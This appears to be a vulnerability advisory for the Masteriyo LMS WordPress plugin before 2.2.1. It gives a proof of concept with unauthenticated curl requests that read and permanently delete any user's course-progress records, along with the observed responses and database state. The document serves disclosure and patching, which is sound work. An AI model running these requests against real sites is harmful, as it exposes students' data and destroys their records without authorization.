Masteriyo LMS < 2.2.1 – Unauthenticated Course Progress Disclosure and Deletion | CVE 2026-10824

Description

The plugin does not perform authorization checks in a course-progress REST API controller, allowing unauthenticated users to read and permanently delete any user's course-progress records.

Proof of Concept

Test environment: WordPress multisite, PHP 8.3. Confirmed vulnerable on Masteriyo LMS 2.1.7 and 2.2.0; fixed in 2.2.1.

Prerequisites: Masteriyo LMS <= 2.2.0 active (default configuration, no special settings). At least one enrolled student with an existing course-progress item — created naturally when a student opens a lesson. In the lab the victim is a subscriber (`user_id=8`) whose lesson progress item is row `id=2` in `wp_masteriyo_user_activities`.

All requests below carry NO cookie and NO X-WP-Nonce header (fully unauthenticated).

### Vector 1 - Unauthenticated read of another user's progress item

```bash
curl -i "https://TARGET/wp-json/masteriyo/v1/course-progress/items/2"
```

Observed response:

```http
HTTP/1.1 200 OK
{"id":2,"progress_id":1,"course_id":44,"user_id":8,"item_id":44,"item_type":"lesson","completed":false,"started_at":"2026-06-01T10:05:00Z","modified_at":"2026-06-01T10:05:00Z","completed_at":null,"previously_visited_page":null}
```

The victim's (`user_id=8`) progress item is disclosed to an unauthenticated caller.

### Vector 2 - Unauthenticated delete of another user's progress item (destructive)

```bash
curl -i -X DELETE "https://TARGET/wp-json/masteriyo/v1/course-progress/items/2?force=true"
```

The response is HTTP 500 — a separate `set_status()` fatal that fires AFTER the row is deleted — so confirm the impact in the database, not via the status code:

```text
BEFORE:  id=1 (course, item_id=42)   id=2 (lesson, item_id=44)  <- victim progress item
AFTER:   id=1 (course, item_id=42)                              <- row id=2 gone
```

The repository's `$wpdb->delete()` removes the victim row before the fatal, so the deletion is permanent.

### Fixed-version control

On 2.2.1 both requests above return HTTP 401 (`masteriyo_rest_cannot_read` / `masteriyo_rest_cannot_delete`) and the row survives.